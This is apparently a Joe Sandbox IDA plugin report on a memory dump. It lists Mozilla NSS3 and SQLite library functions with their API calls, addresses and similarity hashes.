Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: a51d854b2c2187627cc4bf75380a88774b15328c879bb4e2fa4f2b81387d0eaa
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: F621D4B1E003455BE700CF549D44BAA3764AF9630CF111269DD087B752F7B1E69983AA

Function 6C67ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C67ACC2

Part of subcall function 6C652F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C652F0A
Part of subcall function 6C652F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C652F1D

Part of subcall function 6C652AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C650A1B,00000000), ref: 6C652AF0
Part of subcall function 6C652AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C652B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C67AD5E

Part of subcall function 6C6957D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C65B41E,00000000,00000000,?,00000000,?,6C65B41E,00000000,00000000,00000001,?), ref: 6C6957E0
Part of subcall function 6C6957D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C695843

CERT_DestroyCertList.NSS3(?), ref: 6C67AD36

Part of subcall function 6C652F50: CERT_DestroyCertificate.NSS3(?), ref: 6C652F65
Part of subcall function 6C652F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C652F83

free.MOZGLUE(?), ref: 6C67AD4F

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: c316fa99c2415fe033c095782c5021dee481ffc4e23ef2823e67bd9a7e5904a3
Instruction ID: 1291df39e8fb8ef07b23470c6e9bc4e18b6918a77df3a0da5a3ecec13f47f094
Opcode Fuzzy Hash: c316fa99c2415fe033c095782c5021dee481ffc4e23ef2823e67bd9a7e5904a3
Instruction Fuzzy Hash: 9821A4B1D002048BEB20DFA4D9055EE77B4AF05248F555469D8057B701F731EA55CBB9

Function 6C6A3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6A3C9E
EnterCriticalSection.KERNEL32(?), ref: 6C6A3CAE
PR_Unlock.NSS3(?), ref: 6C6A3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C6A3D02

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: eeafdf77f9c58dfbf84d2afb9d765af74ca40c38df2b094f0118fd0564eb16da
Instruction ID: de8aee1d72a422ec2ef46b8842cf72c5222f5ebe1cf775f2137b5d49cc9c3c51
Opcode Fuzzy Hash: eeafdf77f9c58dfbf84d2afb9d765af74ca40c38df2b094f0118fd0564eb16da
Instruction Fuzzy Hash: 3411B475A00204AFD700AF64DC48E9A37B9EF0A368F154074ED058B712E731ED55CBE5

Function 6C6AECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C6AF0AD,6C6AF150,?,6C6AF150,?,?,?), ref: 6C6AECBA

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C6AECD1

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C6AED02

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C6AED5A

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 76dde72ef65d2d73a85da6562e265c10ea3bb2b4ad39952e19a0229eff78b9b9
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: D321D4B1A007425BE700DF25D944B52B7E4BFA5308F15C215E81C87661FB70E9A5C7E8

Function 6C6DEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEE14

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

memcpy.VCRUNTIME140(?,?,6C6C9767,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEE33

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 8ba0d05e806e6b6c8851631dd08f162fd594bb2f7d2f84c5f37d785d5b27f301
Instruction ID: 6366d671b69e6cc108f5464cd7262ec5bf8ed3184d4b0d7b75badfa1f2ea736e
Opcode Fuzzy Hash: 8ba0d05e806e6b6c8851631dd08f162fd594bb2f7d2f84c5f37d785d5b27f301
Instruction Fuzzy Hash: 3611C2B1A00707ABEB209EA5DC84B46F3A8FF0435DF224531E919C2A00E731F465CBE9

Function 6C65DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C6706A0: TlsGetValue.KERNEL32 ref: 6C6706C2
Part of subcall function 6C6706A0: EnterCriticalSection.KERNEL32(?), ref: 6C6706D6
Part of subcall function 6C6706A0: PR_Unlock.NSS3 ref: 6C6706EB

CERT_NewCertList.NSS3 ref: 6C65DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6C65DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C65DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65E029

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 410475219db5b1573e2d62144da0d32e0a5d0e09c4c224fe599cf635f4179d38
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 7F112F71A042066BDF101EA99C44BEB76B8EB8535CFA40534E918C7740F73BC83597E9

Function 6C678DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C678DE7
EnterCriticalSection.KERNEL32 ref: 6C678DFC
PR_Unlock.NSS3 ref: 6C678E2D
PR_SetError.NSS3 ref: 6C678E49

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: a5fec77f60fd7b27d5c6413465cdb604dad906b0c8a935b001935ce7cf77b113
Instruction ID: 1f2f05af8d7cdf630b08cf4df1927fd49a393801eb20a4114f724b09bb2259b6
Opcode Fuzzy Hash: a5fec77f60fd7b27d5c6413465cdb604dad906b0c8a935b001935ce7cf77b113
Instruction Fuzzy Hash: 911191716056019FD700AF78D4485A9BBF4FF09354F014969DC88D7700E730E895CBDA

Function 6C6FAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C6E5F17,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C6E5F17,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FACDB

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 94bacba1003486e81ad315087874fecb84fc0032ded1ab4ee9924434d9633d88
Instruction ID: 946dbee206ebbe9353e9fd703242d2c833e9dd608ba5f2ff18a69ec3cb070919
Opcode Fuzzy Hash: 94bacba1003486e81ad315087874fecb84fc0032ded1ab4ee9924434d9633d88
Instruction Fuzzy Hash: F6015EB5701B029BEB50DF69E908757B7E8BF00759B104839E86AC3E11E731F055CB95

Function 6C661DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C661DFB

Part of subcall function 6C6595B0: TlsGetValue.KERNEL32(00000000,?,6C6700D2,00000000), ref: 6C6595D2
Part of subcall function 6C6595B0: EnterCriticalSection.KERNEL32(?,?,?,6C6700D2,00000000), ref: 6C6595E7
Part of subcall function 6C6595B0: PR_Unlock.NSS3(?,?,?,?,6C6700D2,00000000), ref: 6C659605

PR_EnterMonitor.NSS3 ref: 6C661E09

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C65E190: PR_EnterMonitor.NSS3(?,?,6C65E175), ref: 6C65E19C
Part of subcall function 6C65E190: PR_EnterMonitor.NSS3(6C65E175), ref: 6C65E1AA
Part of subcall function 6C65E190: PR_ExitMonitor.NSS3 ref: 6C65E208
Part of subcall function 6C65E190: PL_HashTableRemove.NSS3(?), ref: 6C65E219
Part of subcall function 6C65E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C65E231
Part of subcall function 6C65E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C65E249
Part of subcall function 6C65E190: PR_ExitMonitor.NSS3 ref: 6C65E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C661E37
PR_ExitMonitor.NSS3 ref: 6C661E4A

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 407bb42155e1bed84df560cc32d0f4947bc0f7eccef4f3f1bcf1965a347793b6
Instruction ID: 336d6f5134f631bd6db140d43f6d62b7f6c21a30899e0cc9e51dc83962851440
Opcode Fuzzy Hash: 407bb42155e1bed84df560cc32d0f4947bc0f7eccef4f3f1bcf1965a347793b6
Instruction Fuzzy Hash: D0018FB1B0415197EB105F6AED08F4677A4AB52B48F240031E91997F91E731E826CB9E

Function 6C661D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C661D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C661D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C661D9C
free.MOZGLUE(00000000), ref: 6C661DB8

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: e3b490690e3787221c4fdd208a72fb20d77e7eb2557f0fc878846638fc170c36
Instruction ID: 291279245eed0e5d3d0beaf54ecba8c835d70e7e17d352a5be8e1186c36a2266
Opcode Fuzzy Hash: e3b490690e3787221c4fdd208a72fb20d77e7eb2557f0fc878846638fc170c36
Instruction Fuzzy Hash: EEF0F9F260121067FB201F5BEC41B8736D8AB81798F100635ED1997F40D671E40482EF

Function 6C6AFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C659003,?), ref: 6C6AFD91

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PORT_Alloc_Util.NSS3(A4686C6B,?), ref: 6C6AFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C6B,?,?), ref: 6C6AFDC4
free.MOZGLUE(00000000,?,?), ref: 6C6AFDD1

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: e33a47ee9181acbbf2bd5c46cba1eb7b4274f36b64e72e88fb32ecd3ecb28cb6
Instruction ID: f66672d40333ece326dddc6aeec6d2846073debf6e95477de6f7f5a582ed189d
Opcode Fuzzy Hash: e33a47ee9181acbbf2bd5c46cba1eb7b4274f36b64e72e88fb32ecd3ecb28cb6
Instruction Fuzzy Hash: C5F0C8F16022026BEF015B95DD80927BBD8EF45399B148074ED098AB01E731DC16C7EB

Function 6C76CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C76CC61
free.MOZGLUE ref: 6C76CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C76CC80
free.MOZGLUE(?), ref: 6C76CC87

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: b357d630eb135e3d4e1088945e24d0e385ea7fa21a82075120949cfa13205548
Instruction ID: b62cb622932d6d95cf8f28def52c6460da53ad28260737f1e9b06ffa0cecdd7c
Opcode Fuzzy Hash: b357d630eb135e3d4e1088945e24d0e385ea7fa21a82075120949cfa13205548
Instruction Fuzzy Hash: 82E03076700608ABCB10EFA8DC4488A77ACEE492723150565E691C3700D232F905CBA1

Function 6C649DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C649E1F

Part of subcall function 6C6013C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C5D2352,?,00000000,?,?), ref: 6C601413
Part of subcall function 6C6013C0: memcpy.VCRUNTIME140(00000000,R#]l,00000002,?,?,?,?,6C5D2352,?,00000000,?,?), ref: 6C6014C0

Strings

ESCAPE expression must be a single character, xrefs: 6C649F78
LIKE or GLOB pattern too complex, xrefs: 6C64A006

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: fca0e4fcada1f7f83b2f8fdf1c96becc6ebc3b6829f3596cca71fe925e19985c
Instruction ID: 6daa736bfc3cf47b36914c0c59b09f3e55145e153307c15362afad1d62db551a
Opcode Fuzzy Hash: fca0e4fcada1f7f83b2f8fdf1c96becc6ebc3b6829f3596cca71fe925e19985c
Instruction Fuzzy Hash: F1812B70A442558BD744CF29C2807EAB7F6AF8532CF28C659D8A98BB81D736D847C784

Function 6C6A4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6A4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C6A4DE6

Strings

%d.%d, xrefs: 6C6A4DDE

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: b8c2afe6525a1acae62d6f1e1fbf7d4e661babb0bd20fc33e1848e4fcbf8c6d9
Instruction ID: f3073532db0d69003b4f21911bb83211dddbfb5cc3d21d2ed669e7ef13d2a519
Opcode Fuzzy Hash: b8c2afe6525a1acae62d6f1e1fbf7d4e661babb0bd20fc33e1848e4fcbf8c6d9
Instruction Fuzzy Hash: 5D31FCB2D042186BEB10ABE19C05BFF77A8DF45308F150469ED159B781EB709D06CBAA

Function 6C6C4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8ll,00000000,00000000,?,?,6C6C3827,?,00000000), ref: 6C6C4D0A

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C6C4D22

